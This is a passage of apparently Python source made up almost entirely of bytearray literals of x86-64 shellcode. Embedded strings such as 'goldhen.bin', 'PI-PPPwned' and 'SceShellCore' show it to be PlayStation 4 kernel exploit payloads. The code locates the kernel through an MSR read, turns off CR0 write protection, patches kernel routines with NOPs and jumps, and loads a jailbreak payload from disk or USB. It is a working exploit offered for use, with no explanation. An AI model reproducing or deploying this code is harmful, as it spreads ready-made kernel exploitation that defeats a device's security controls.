72,137,239,116,20,232,42,254,255,255,68,137,238,72,137,239,49,219,232,29,254,255,255,235,21,232,22,254,255,255,68,137,238,72,137,239,187,1,0,0,0,232,6,254,255,255,72,129,196,56,4,0,0,137,216,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,250,83,72,129,236,8,13,0,0,72,137,180,36,88,12,0,0,72,137,148,36,96,12,0,0,72,137,140,36,104,12,0,0,76,137,132,36,112,12,0,0,76,137,140,36,120,12,0,0,132,192,116,64,15,41,132,36,128,12,0,0,15,41,140,36,144,12,0,0,15,41,148,36,160,12,0,0,15,41,156,36,176,12,0,0,15,41,164,36,192,12,0,0,15,41,172,36,208,12,0,0,15,41,180,36,224,12,0,0,15,41,188,36,240,12,0,0,185,130,0,0,192,15,50,72,193,226,32,137,192,72,141,108,36,32,76,137,214,72,137,211,72,141,124,36,77,72,141,84,36,8,199,68,36,8,8,0,0,0,72,9,195,72,141,132,36,32,13,0,0,199,68,36,12,48,0,0,0,72,137,68,36,16,72,141,132,36,80,12,0,0,72,137,68,36,24,72,141,131,224,204,47,0,72,129,195,160,151,39,0,255,208,199,68,36,32,0,0,0,0,72,137,238,49,201,199,68,36,72,0,0,0,0,186,48,12,0,0,49,255,198,68,36,76,0,199,68,36,48,255,255,255,255,255,211,72,129,196,8,13,0,0,91,93,195,243,15,30,250,83,72,137,251,72,131,236,16,72,139,5,46,4,0,0,72,137,52,36,72,137,230,72,139,128,56,6,0,0,199,68,36,8,0,0,0,0,72,199,135,152,3,0,0,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,133,192,15,148,192,72,131,196,16,15,182,192,91,195,243,15,30,250,65,85,185,130,0,0,192,73,137,213,72,131,236,16,15,50,72,137,116,36,8,72,137,60,36,232,140,255,255,255,133,192,116,23,72,139,116,36,8,72,139,60,36,72,131,196,16,76,137,234,65,93,233,128,252,255,255,72,131,196,16,49,192,65,93,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,65,84,85,72,137,253,83,72,131,236,56,15,50,49,201,65,137,214,49,210,65,137,197,232,163,251,255,255,133,192,15,136,104,1,0,0,65,137,196,72,139,5,108,3,0,0,76,141,124,36,24,72,137,239,76,137,254,72,139,128,168,89,0,0,68,137,100,36,24,72,199,133,152,3,0,0,0,0,0,0,72,199,68,36,32,0,0,0,0,199,68,36,40,2,0,0,0,255,208,137,195,133,192,116,4,247,219,235,6,139,157,152,3,0,0,72,139,5,32,3,0,0,72,99,219,76,137,254,72,137,239,72,139,128,168,89,0,0,68,137,100,36,24,72,199,133,152,3,0,0,0,0,0,0,72,199,68,36,32,0,0,0,0,199,68,36,40,0,0,0,0,255,208,72,133,219,15,142,159,0,0,0,73,193,230,32,77,9,238,76,141,171,255,63,0,0,76,137,234,73,139,190,112,239,31,2,73,141,134,80,92,36,0,72,129,226,0,192,255,255,72,137,84,36,8,72,137,214,255,208,72,139,84,36,8,72,133,192,73,137,197,116,98,72,139,5,160,2,0,0,72,137,84,36,8,76,137,254,72,137,239,72,139,128,152,0,0,0,68,137,100,36,24,72,199,133,152,3,0,0,0,0,0,0,76,137,108,36,32,72,137,92,36,40,255,208,72,139,84,36,8,133,192,116,4,247,216,235,6,139,133,152,3,0,0,72,152,72,57,195,116,44,73,139,190,112,239,31,2,73,141,134,32,94,36,0,76,137,238,255,208,72,131,196,56,68,137,230,72,137,239,91,93,65,92,65,93,65,94,65,95,233,205,250,255,255,68,137,230,72,137,239,232,194,250,255,255,72,131,196,56,76,137,232,91,93,65,92,65,93,65,94,65,95,255,224,72,131,196,56,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,185,130,0,0,192,65,84,85,72,137,253,72,131,236,16,15,50,76,141,45,164,1,0,0,76,141,37,119,1,0,0,76,137,238,232,145,253,255,255,133,192,116,99,76,137,230,72,137,239,232,130,253,255,255,133,192,117,16,76,137,226,76,137,238,72,137,239,232,194,253,255,255,235,68,72,139,5,168,1,0,0,76,137,100,36,8,72,141,116,36,8,72,137,239,72,139,128,232,1,0,0,72,199,133,152,3,0,0,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,133,152,3,0,0,133,192,121,182,72,131,196,16,93,65,92,65,93,195,76,137,230,72,137,239,232,31,253,255,255,133,192,117,21,72,131,196,16,72,141,61,42,1,0,0,93,65,92,65,93,233,246,251,255,255,72,131,196,16,76,137,230,72,137,239,93,65,92,65,93,233,138,253,255,255,243,15,30,250,72,131,236,24,185,130,0,0,192,15,50,72,193,226,32,137,192,72,9,194,72,141,130,160,21,16,1,72,137,5,13,1,0,0,15,32,192,72,137,193,72,129,225,255,255,254,255,15,34,193,199,130,208,2,0,0,0,0,0,0,102,199,130,245,2,0,0,144,144,102,199,130,249,2,0,0,144,144,198,130,2,3,0,0,235,102,199,130,119,222,45,0,144,144,102,199,130,131,222,45,0,144,144,198,130,133,222,45,0,144,102,199,130,130,221,45,0,144,144,102,199,130,142,221,45,0,144,144,198,130,144,221,45,0,144,102,199,130,35,227,45,0,144,144,102,199,130,47,227,45,0,144,144,198,130,49,227,45,0,144,102,199,130,96,227,45,0,144,144,15,34,192,72,141,61,108,0,0,0,49,192,232,36,251,255,255,72,131,196,24,101,72,139,60,37,0,0,0,0,233,100,254,255,255,47,100,97,116,97,47,71,111,108,100,72,69,78,47,112,97,121,108,111,97,100,115,47,103,111,108,100,104,101,110,46,98,105,110,0,37,115,0,47,109,110,116,47,117,115,98,48,47,103,111,108,100,104,101,110,46,98,105,110,0,103,111,108,100,104,101,110,46,98,105,110,32,110,111,116,32,102,111,117,110,100,33,0,80,73,45,80,80,80,119,110,101,100,0])
        else:
            payload = bytearray([233,190,1,0,0,243,15,30,250,72,139,22,49,192,255,226,243,15,30,250,72,139,71,8,185,130,0,0,192,72,139,191,48,1,0,0,72,139,112,64,76,139,64,72,15,50,72,193,226,32,137,192,72,199,70,4,0,0,0,0,72,9,194,72,139,134,24,1,0,0,199,70,20,0,0,0,0,199,0,0,0,0,0,72,139,130,112,246,17,1,72,137,70,48,72,139,130,128,100,17,2,73,137,64,32,73,137,64,24,72,184,19,0,0,0,0,0,1,56,72,137,71,88,49,192,72,199,71,96,255,255,255,255,72,199,71,104,255,255,255,255,195,83,72,137,251,72,131,236,32,72,139,5,3,52,0,0,72,137,116,36,8,72,141,116,36,8,72,139,128,248,0,0,0,137,84,36,16,72,199,135,152,3,0,0,0,0,0,0,199,68,36,24,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,72,131,196,32,91,195,243,15,30,250,72,137,248,128,56,0,116,5,72,255,192,235,246,72,41,248,195,243,15,30,250,49,192,72,57,194,116,18,138,12,7,72,255,192,58,76,6,255,116,239,25,192,131,200,1,195,49,192,195,243,15,30,250,69,49,192,72,133,246,116,42,76,139,135,152,10,45,2,72,137,247,232,176,255,255,255,72,137,194,73,141,184,84,4,0,0,232,182,255,255,255,133,192,116,8,77,139,0,77,133,192,117,232,76,137,192,195,243,15,30,250,65,87,73,137,255,185,130,0,0,192,65,86,73,137,246,65,85,65,84,85,83,65,80,15,50,72,193,226,32,137,192,189,50,0,0,0,73,189,0,0,32,38,9,0,0,0,72,9,194,72,141,154,240,136,53,0,77,137,236,79,141,108,53,0,106,0,49,246,106,7,76,137,225,65,185,7,0,0,0,77,137,232,49,210,76,137,255,255,211,89,94,133,192,116,7,255,205,117,213,69,49,228,90,76,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,65,84,85,83,72,129,236,88,12,0,0,15,50,72,193,226,32,137,192,72,9,194,72,137,214,15,50,72,193,226,32,137,192,72,9,194,72,141,134,160,21,16,1,72,137,5,156,50,0,0,76,141,162,64,254,255,255,15,32,193,72,137,200,72,37,255,255,254,255,15,34,192,198,134,2,3,0,0,235,72,141,29,221,253,255,255,102,199,134,131,222,45,0,144,144,198,134,133,222,45,0,144,102,199,134,142,221,45,0,144,144,198,134,144,221,45,0,144,102,199,134,47,227,45,0,144,144,198,134,49,227,45,0,144,72,139,5,65,50,0,0,199,134,208,2,0,0,0,0,0,0,102,199,134,245,2,0,0,144,144,102,199,134,249,2,0,0,144,144,102,199,134,119,222,45,0,144,144,102,199,134,130,221,45,0,144,144,102,199,134,35,227,45,0,144,144,102,199,134,96,227,45,0,144,144,102,65,199,132,36,164,17,59,0,144,144,65,198,132,36,220,94,36,0,7,65,198,132,36,228,94,36,0,7,65,199,132,36,51,76,30,0,144,144,144,144,102,65,199,132,36,55,76,30,0,144,144,65,199,132,36,67,76,30,0,144,144,144,144,102,65,199,132,36,71,76,30,0,144,144,102,65,199,132,36,99,76,30,0,144,233,72,137,152,24,2,0,0,72,141,29,13,253,255,255,102,199,68,36,5,144,144,198,68,36,7,144,199,128,16,2,0,0,2,0,0,0,199,128,60,2,0,0,1,0,0,0,199,128,176,1,0,0,2,0,0,0,72,137,152,184,1,0,0,199,128,220,1,0,0,1,0,0,0,15,34,193,49,192,72,141,124,36,32,185,12,3,0,0,243,171,72,141,68,36,77,72,141,53,68,9,0,0,185,11,0,0,0,72,137,199,199,68,36,48,255,255,255,255,76,141,138,160,117,53,0,72,141,154,16,118,53,0,243,164,72,141,53,40,9,0,0,76,137,231,198,68,36,76,1,101,72,139,44,37,0,0,0,0,232,120,253,255,255,72,133,192,15,132,50,1,0,0,76,139,184,104,1,0,0,73,137,197,76,137,255,65,255,209,190,0,0,8,0,76,137,255,232,140,253,255,255,76,137,255,73,137,198,255,211,76,99,5,51,9,0,0,76,137,241,76,137,234,80,76,141,13,69,9,0,0,76,137,230,72,137,239,106,0,232,231,2,0,0,90,89,133,192,15,133,225,0,0,0,76,137,241,76,137,234,76,137,230,72,137,239,232,6,4,0,0,133,192,15,133,200,0,0,0,76,141,37,165,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,108,252,255,255,137,195,133,192,117,73,186,5,0,0,0,76,137,230,72,137,239,232,86,252,255,255,137,195,133,192,117,51,76,141,37,133,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,57,252,255,255,137,195,133,192,117,22,186,5,0,0,0,76,137,230,72,137,239,232,35,252,255,255,137,195,133,192,116,98,72,139,5,40,48,0,0,72,141,84,36,32,76,141,100,36,8,72,137,239,76,137,230,72,139,128,200,0,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,72,137,84,36,16,72,199,68,36,24,48,12,0,0,255,208,72,139,5,235,47,0,0,76,137,230,72,137,239,72,139,128,40,1,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,255,208,72,129,196,88,12,0,0,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,76,141,190,0,121,53,0,65,86,65,85,73,137,205,185,130,0,0,192,65,84,77,137,196,85,83,72,137,243,72,131,236,40,76,139,178,104,1,0,0,72,199,68,36,24,0,0,0,0,15,50,72,141,134,176,120,53,0,76,137,247,255,208,73,99,174,0,1,0,0,133,237,117,7,49,219,233,164,0,0,0,49,246,72,141,84,36,24,72,141,131,240,126,53,0,76,137,247,255,208,133,192,137,68,36,12,117,222,72,99,253,72,141,179,176,21,84,1,186,2,0,0,0,72,129,195,32,66,26,0,72,107,255,58,255,211,72,137,195,72,133,192,116,186,139,76,36,12,57,233,125,93,72,139,84,36,24,72,131,192,58,72,139,114,32,72,137,112,230,72,139,114,40,72,137,112,238,72,139,114,80,72,137,112,246,139,122,92,137,254,102,193,238,8,33,254,102,137,112,254,15,16,130,141,0,0,0,15,17,64,198,15,16,138,157,0,0,0,72,139,84,36,24,15,17,72,214,72,139,82,8,72,137,84,36,24,72,133,210,116,4,255,193,235,159,76,137,247,65,255,215,77,133,237,116,4,73,137,93,0,77,133,228,116,4,73,137,44,36,72,131,196,40,49,192,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,250,73,137,203,72,137,215,83,185,130,0,0,192,72,131,236,72,72,139,108,36,96,15,50,73,129,248,255,255,63,0,119,125,72,133,255,116,120,76,137,195,77,133,192,117,17,49,192,72,133,237,116,110,72,199,69,0,0,0,0,0,235,100,72,137,224,76,137,68,36,8,72,137,68,36,16,49,192,131,124,36,104,0,15,149,192,76,137,68,36,40,76,141,68,36,16,137,68,36,52,72,141,134,160,56,56,0,76,137,198,76,137,12,36,199,68,36,24,1,0,0,0,76,137,92,36,32,199,68,36,48,1,0,0,0,76,137,84,36,56,255,208,72,133,237,116,16,72,43,92,36,40,72,137,93,0,235,5,184,1,0,0,0,72,131,196,72,91,93,195,243,15,30,250,80,106,0,255,116,36,24,232,63,255,255,255,72,131,196,24,195,243,15,30,250,80,106,1,255,116,36,24,232,42,255,255,255,72,131,196,24,195,243,15,30,250,65,87,65,86,65,85,65,84,85,72,137,205,185,130,0,0,192,83,72,137,243,72,137,214,72,131,236,40,72,199,68,36,24,0,0,0,0,15,50,72,141,131,112,169,53,0,65,188,1,0,0,0,72,137,68,36,8,72,133,237,116,125,76,139,190,104,1,0,0,77,137,198,76,141,131,96,119,53,0,76,141,171,208,119,53,0,76,137,255,65,255,208,72,139,68,36,8,72,141,76,36,24,76,137,242,49,246,76,137,255,255,208,65,137,196,133,192,116,8,76,137,255,65,255,213,235,60,72,139,76,36,24,49,210,106,0,65,185,7,0,0,0,106,7,49,246,76,137,255,72,129,195,176,138,53,0,78,141,4,49,255,211,76,137,255,65,137,196,65,255,213,88,90,69,133,228,117,9,72,139,68,36,24,72,137,69,0,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,73,137,204,85,76,137,197,83,72,137,243,80,76,139,170,104,1,0,0,72,141,134,96,119,53,0,76,137,239,255,208,73,141,20,44,76,137,230,76,137,239,72,141,131,176,163,53,0,72,129,195,208,119,53,0,255,208,76,137,239,65,137,196,255,211,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,65,87,65,86,73,137,254,65,85,73,137,213,65,84,85,72,137,245,83,72,129,236,136,0,0,0,72,137,76,36,40,185,130,0,0,192,72,199,68,36,56,0,0,0,0,72,199,68,36,64,0,0,0,0,72,199,68,36,72,0,0,0,0,72,199,68,36,80,0,0,0,0,72,199,68,36,88,0,0,0,0,15,50,65,184,0,64,0,0,72,141,76,36,56,76,137,234,232,113,254,255,255,65,137,196,133,192,15,133,168,2,0,0,72,141,76,36,64,76,137,234,72,137,238,76,137,247,65,184,0,0,8,0,232,77,254,255,255,65,137,196,133,192,15,133,132,2,0,0,72,139,92,36,56,86,76,137,247,76,137,234,65,184,255,0,0,0,76,141,13,229,2,0,0,72,137,238,72,137,217,76,141,124,36,96,65,87,232,2,254,255,255,95,65,88,65,137,196,133,192,15,133,75,2,0,0,73,139,69,16,72,141,76,36,72,76,137,234,72,137,238,76,141,68,36,80,76,137,247,72,137,68,36,16,232,233,251,255,255,65,137,196,133,192,15,133,31,2,0,0,72,139,68,36,80,72,139,76,36,72,72,199,68,36,96,0,0,0,0,69,49,192,72,199,68,36,104,0,0,0,0,72,141,53,176,3,0,0,72,199,68,36,112,0,0,0,0,72,199,68,36,120,0,0,0,0,72,137,68,36,8,76,57,68,36,8,15,132,215,1,0,0,102,131,121,56,5,117,115,72,137,207,186,18,0,0,0,76,137,68,36,32,72,137,76,36,24,232,131,247,255,255,72,139,76,36,24,76,139,68,36,32,72,141,53,95,3,0,0,133,192,117,71,72,139,65,32,72,141,136,48,64,1,0,72,141,144,16,64,1,0,72,137,76,36,104,72,141,136,80,68,1,0,72,5,48,232,8,0,72,137,68,36,120,72,139,68,36,64,72,137,84,36,96,72,137,76,36,112,72,137,68,36,8,72,133,210,117,17,233,93,1,0,0,73,255,192,72,131,193,58,233,111,255,255,255,80,72,141,75,13,76,137,234,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,76,36,56,232,218,252,255,255,90,89,133,192,15,133,36,1,0,0,65,81,72,141,75,21,65,184,8,0,0,0,76,137,234,65,87,72,137,238,76,137,247,76,141,76,36,112,232,175,252,255,255,65,90,65,91,133,192,15,133,247,0,0,0,86,65,184,8,0,0,0,76,137,247,72,141,75,29,65,87,76,137,234,72,137,238,76,141,76,36,120,232,131,252,255,255,95,65,88,133,192,15,133,204,0,0,0,65,82,76,137,234,72,141,75,37,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,140,36,128,0,0,0,232,84,252,255,255,65,91,90,133,192,15,133,157,0,0,0,87,65,184,8,0,0,0,72,141,75,45,76,137,234,65,87,72,137,238,76,137,247,76,141,140,36,136,0,0,0,232,38,252,255,255,65,88,65,89,133,192,117,114,86,72,141,83,77,72,141,133,112,81,41,0,49,201,106,0,65,185,0,0,8,0,49,246,106,0,106,0,106,0,106,0,76,139,68,36,56,72,139,124,36,64,255,208,72,131,196,48,133,192,117,62,198,68,36,55,0,76,141,76,36,55,80,72,141,75,12,76,137,234,65,184,1,0,0,0,65,87,72,137,238,76,137,247,76,137,76,36,24,232,171,251,255,255,90,89,133,192,117,14,128,124,36,55,0,76,139,76,36,8,116,206,235,3,65,137,196,72,139,124,36,72,72,133,255,116,16,72,141,181,176,21,84,1,72,141,133,224,67,26,0,255,208,72,139,76,36,56,72,133,201,116,20,65,184,0,64,0,0,76,137,234,72,137,238,76,137,247,232,87,252,255,255,72,139,76,36,64,72,133,201,116,20,65,184,0,0,8,0,76,137,234,72,137,238,76,137,247,232,57,252,255,255,72,129,196,136,0,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,82,76,68,82,77,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,114,112,99,115,116,117,98,0,72,139,61,217,255,255,255,72,139,55,72,139,190,224,1,0,0,232,122,0,0,0,72,141,61,211,255,255,255,76,139,37,164,255,255,255,65,255,212,190,0,0,8,0,72,141,61,189,255,255,255,76,139,37,150,255,255,255,65,255,212,76,141,5,180,255,255,255,185,0,0,0,0,72,139,21,112,255,255,255,72,141,53,153,255,255,255,72,141,61,138,255,255,255,76,139,37,115,255,255,255,65,255,212,198,5,80,255,255,255,1,191,0,0,0,0,232,1,0,0,0,195,184,175,1,0,0,73,137,202,15,5,195,184,165,0,0,0,73,137,202,15,5,195,85,72,137,229,83,72,131,236,24,72,137,125,232,72,141,117,232,191,129,0,0,0,232,218,255,255,255,72,131,196,24,91,93,195,80,73,45,80,80,80,119,110,101,100,0,83,99,101,83,104,101,108,108,67,111,114,101,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,48,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,49,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,39,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,233,250,2,0,0,72,49,192,73,137,202,15,5,114,1,195,72,131,61,144,39,0,0,0,116,24,80,255,21,135,39,0,0,89,137,8,72,199,192,255,255,255,255,72,199,194,255,255,255,255,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,15,50,65,84,72,193,226,32,85,83,72,131,236,24,72,9,208,72,139,86,8,76,141,128,200,40,22,2,76,137,68,36,8,76,139,34,76,139,106,8,77,133,228,15,132,63,2,0,0,73,131,253,7,15,134,53,2,0,0,72,141,152,64,254,255,255,76,141,184,240,106,17,0,72,141,168,64,170,206,0,72,184,88,68,65,79,76,89,65,80,73,57,4,36,15,133,12,2,0,0,65,15,32,198,76,137,240,72,37,255,255,254,255,15,34,192,199,131,248,207,82,1,0,0,0,0,49,246,102,199,131,168,76,30,0,235,76,72,137,239,102,199,131,224,140,8,0,49,192,186,0,64,0,0,198,131,226,140,8,0,195,198,131,106,98,21,0,55,198,131,109,98,21,0,55,199,131,31,21,67,0,184,0,0,0,198,131,35,21,67,0,0,198,131,220,94,36,0,7,198,131,228,94,36,0,7,102,199,131,55,224,45,0,144,144,102,199,131,67,224,45,0,144,144,198,131,69,224,45,0,144,102,199,131,66,223,45,0,144,144,102,199,131,78,223,45,0,144,144,198,131,80,223,45,0,144,102,199,131,227,228,45,0,144,144,102,199,131,239,228,45,0,144,144,198,131,241,228,45,0,144,102,199,131,32,229,45,0,144,144,198,131,253,221,45,0,235,199,131,157,66,56,0,144,144,144,144,102,199,131,161,66,56,0,144,144,199,131,113,71,56,0,233,124,2,0,198,131,117,71,56,0,0,199,131,220,65,67,0,72,49,192,144,198,131,224,65,67,0,144,199,131,166,232,49,0,144,144,144,144,102,199,131,170,232,49,0,144,144,199,131,236,200,53,0,144,144,144,144,102,199,131,240,200,53,0,144,144,102,199,131,176,78,104,0,49,192,198,131,178,78,104,0,195,102,199,131,208,191,100,0,176,1,198,131,210,191,100,0,195,102,199,131,0,192,100,0,176,1,198,131,2,192,100,0,195,102,199,131,183,204,47,0,235,59,199,131,71,100,8,0,144,144,144,144,102,199,131,75,100,8,0,144,144,199,131,55,139,56,0,144,144,144,144,102,199,131,59,139,56,0,144,144,102,199,131,2,227,45,0,144,144,102,199,131,17,227,45,0,144,144,199,131,40,227,78,0,0,0,0,0,199,131,238,243,78,0,0,0,0,0,255,21,71,37,0,0,76,137,234,76,137,230,72,137,239,255,21,48,37,0,0,198,131,247,108,17,0,235,72,139,124,36,8,74,141,148,45,255,63,0,0,72,137,238,72,129,226,0,192,255,255,72,129,230,0,192,255,255,185,7,0,0,0,65,255,215,198,131,247,108,17,0,117,65,15,34,198,73,139,84,36,8,72,131,196,24,91,49,192,72,1,234,93,65,92,65,93,65,94,65,95,255,226,72,131,196,24,131,200,255,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,72,137,250,72,129,236,0,2,0,0,72,141,53,98,34,0,0,72,137,229,49,192,72,137,239,255,21,160,36,0,0,72,137,238,191,222,0,0,0,255,21,138,36,0,0,72,129,196,0,2,0,0,93,195,243,15,30,250,65,85,65,84,85,72,131,236,16,232,238,0,0,0,232,107,1,0,0,72,141,5,251,1,0,0,72,137,4,36,139,5,17,34,0,0,72,137,68,36,8,49,192,255,21,116,36,0,0,72,137,230,72,141,61,245,252,255,255,199,0,0,0,0,0,232,116,0,0,0,133,192,65,137,196,116,11,49,192,255,21,80,36,0,0,68,139,32,76,141,45,221,33,0,0,76,137,239,72,141,45,233,33,0,0,232,64,0,0,0,72,137,239,232,56,0,0,0,76,137,239,190,255,1,0,0,232,67,0,0,0,72,137,239,190,255,1,0,0,232,54,0,0,0,232,73,1,0,0,72,141,61,213,33,0,0,232,32,255,255,255,72,131,196,16,68,137,224,93,65,92,65,93,195,72,199,192,10,0,0,0,233,75,252,255,255,72,199,192,11,0,0,0,233,63,252,255,255,72,199,192,136,0,0,0,233,51,252,255,255,72,199,192,79,2,0,0,233,39,252,255,255,243,15,30,250,72,137,241,49,210,72,137,254,69,49,192,80,191,82,2,0,0,49,192,232,8,252,255,255,90,195,243,15,30,250,85,72,141,61,130,33,0,0,72,131,236,16,72,199,5,142,35,0,0,0,0,0,0,72,141,108,36,12,72,137,238,232,186,255,255,255,133,192,116,34,72,137,238,72,141,61,103,33,0,0,232,167,255,255,255,133,192,116,15,72,137,238,72,141,61,103,33,0,0,232,148,255,255,255,139,124,36,12,72,141,21,80,35,0,0,72,141,53,99,33,0,0,232,113,255,255,255,139,124,36,12,72,141,21,49,35,0,0,72,141,53,84,33,0,0,232,90,255,255,255,72,131,196,16,93,195,243,15,30,250,85,69,49,201,69,49,192,49,201,49,210,49,246,72,141,61,74,33,0,0,255,21,1,35,0,0,72,141,21,242,34,0,0,72,141,53,78,33,0,0,137,197,137,199,232,31,255,255,255,137,239,72,141,21,209,34,0,0,72,141,53,60,33,0,0,232,10,255,255,255,137,239,93,72,141,21,179,34,0,0,72,141,53,45,33,0,0,233,244,254,255,255,243,15,30,250,49,201,49,210,49,246,72,141,61,31,33,0,0,69,49,201,80,69,49,192,255,21,161,34,0,0,89,72,141,21,121,34,0,0,137,199,72,141,53,39,33,0,0,233,192,254,255,255,0,0,0,88,68,65,79,76,89,65,80,245,18,0,0,0,0,0,0,243,15,30,250,131,63,8,117,74,139,71,24,137,193,193,233,24,117,64,137,194,129,226,0,0,12,0,129,250,0,0,12,0,117,48,129,127,56,55,19,0,0,117,39,37,255,255,251,255,72,141,13,71,27,0,0,137,71,24,49,192,72,137,194,72,247,218,138,20,10,136,84,7,56,72,255,192,72,131,248,16,117,234,255,37,15,32,0,0,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,252,73,137,245,137,211,72,137,205,101,76,139,52,37,0,0,0,0,76,141,124,36,12,186,20,0,0,0,76,137,255,49,246,255,21,160,32,0,0,137,92,36,12,72,141,124,36,16,76,137,238,186,16,0,0,0,255,21,145,32,0,0,72,139,53,26,32,0,0,76,137,247,49,210,255,21,143,32,0,0,76,137,225,76,137,254,72,137,239,65,184,32,0,0,0,186,20,0,0,0,255,21,173,31,0,0,72,139,53,238,31,0,0,76,137,247,255,21,93,32,0,0,72,131,196,40,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,129,236,192,1,0,0,73,137,253,139,132,36,24,2,0,0,72,137,243,68,139,180,36,16,2,0,0,72,137,213,80,65,86,139,132,36,24,2,0,0,80,255,180,36,24,2,0,0,255,180,36,24,2,0,0,255,21,34,31,0,0,72,131,196,48,133,192,65,137,196,15,132,223,2,0,0,69,133,246,15,133,214,2,0,0,76,141,76,36,32,49,246,76,137,207,76,137,76,36,8,186,16,0,0,0,76,141,124,36,48,255,21,187,31,0,0,76,141,116,36,80,72,137,108,36,32,72,199,68,36,40,0,1,0,0,49,246,76,137,255,186,16,0,0,0,255,21,152,31,0,0,76,141,84,36,112,76,137,116,36,48,72,199,68,36,56,32,0,0,0,186,72,0,0,0,76,137,20,36,49,246,76,137,215,255,21,113,31,0,0,72,141,5,202,27,0,0,72,137,132,36,144,0,0,0,72,141,5,59,27,0,0,72,137,132,36,152,0,0,0,72,141,5,172,26,0,0,72,137,132,36,160,0,0,0,72,141,5,29,26,0,0,72,137,132,36,168,0,0,0,72,141,5,142,25,0,0,72,137,132,36,176,0,0,0,101,72,139,44,37,0,0,0,0,72,139,53,174,30,0,0,49,210,72,137,239,255,21,35,31,0,0,72,139,20,36,76,137,255,72,139,116,36,8,255,21,81,30,0,0,72,139,53,138,30,0,0,72,137,239,65,137,199,255,21,246,30,0,0,69,133,255,15,133,217,1,0,0,72,139,61,150,30,0,0,49,201,49,210,49,246,76,141,124,36,64,255,21,5,31,0,0,72,141,132,36,184,0,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,8,255,21,168,30,0,0,72,139,132,36,240,1,0,0,76,141,148,36,188,0,0,0,76,137,209,186,1,0,0,0,76,137,247,76,137,84,36,16,72,5,112,3,0,0,199,132,36,184,0,0,0,55,19,32,0,72,137,198,72,137,4,36,232,148,253,255,255,72,139,53,252,29,0,0,49,210,72,137,239,255,21,113,30,0,0,49,246,186,16,0,0,0,76,137,255,255,21,73,30,0,0,76,139,84,36,16,186,32,0,0,0,77,137,249,65,184,128,0,0,0,72,141,13,111,24,0,0,76,137,214,76,137,215,255,21,107,29,0,0,72,139,53,180,29,0,0,72,137,239,137,68,36,16,255,21,31,30,0,0,139,84,36,16,133,210,15,133,224,0,0,0,72,141,132,36,52,1,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,16,255,21,230,29,0,0,72,139,52,36,76,141,148,36,56,1,0,0,76,137,209,76,137,247,186,2,0,0,0,76,137,84,36,24,199,132,36,52,1,0,0,55,19,32,0,232,227,252,255,255,72,139,53,75,29,0,0,49,210,72,137,239,255,21,192,29,0,0,49,246,186,16,0,0,0,76,137,255,255,21,152,29,0,0,76,139,84,36,24,77,137,249,65,184,128,0,0,0,72,141,13,195,23,0,0,186,32,0,0,0,76,137,214,76,137,215,255,21,186,28,0,0,72,139,53,3,29,0,0,72,137,239,65,137,198,255,21,111,29,0,0,69,133,246,117,55,72,139,124,36,8,76,137,238,255,21,108,28,0,0,133,192,116,6,65,139,125,0,235,20,72,139,124,36,16,72,137,222,255,21,84,28,0,0,133,192,116,28,139,59,131,255,255,116,6,255,21,59,28,0,0,72,139,61,220,28,0,0,255,21,78,29,0,0,235,16,72,139,61,205,28,0,0,69,49,228,255,21,60,29,0,0,72,129,196,184,1,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,49,192,72,133,255,116,21,72,139,5,169,28,0,0,72,139,0,72,133,192,116,6,72,57,120,32,117,242,195,243,15,30,250,65,84,85,83,255,21,4,29,0,0,65,137,196,72,139,5,114,28,0,0,72,139,40,72,133,237,116,127,139,69,8,131,248,255,116,55,72,139,21,83,28,0,0,72,139,26,72,133,219,116,40,59,3,118,9,72,139,155,144,0,0,0,235,238,115,9,72,139,155,136,0,0,0,235,227,117,225,131,123,4,0,116,8,102,129,123,8,55,19,116,6,72,139,109,16,235,182,102,131,123,10,32,117,243,72,139,61,7,28,0,0,72,141,115,12,186,32,0,0,0,255,21,88,28,0,0,72,139,5,233,27,0,0,15,183,83,8,15,183,115,10,139,77,0,72,139,56,255,21,93,27,0,0,235,192,91,68,137,224,93,65,92,195,65,84,85,72,131,236,24,72,137,124,36,8,101,72,139,44,37,0,0,0,0,72,139,53,167,27,0,0,49,210,72,137,239,255,21,28,28,0,0,76,139,76,36,8,65,184,128,0,0,0,72,141,13,66,22,0,0,186,144,0,0,0,65,188,37,10,15,128,73,141,121,16,72,137,254,255,21,26,27,0,0,133,192,117,3,65,137,196,72,139,53,100,27,0,0,72,137,239,255,21,211,27,0,0,72,131,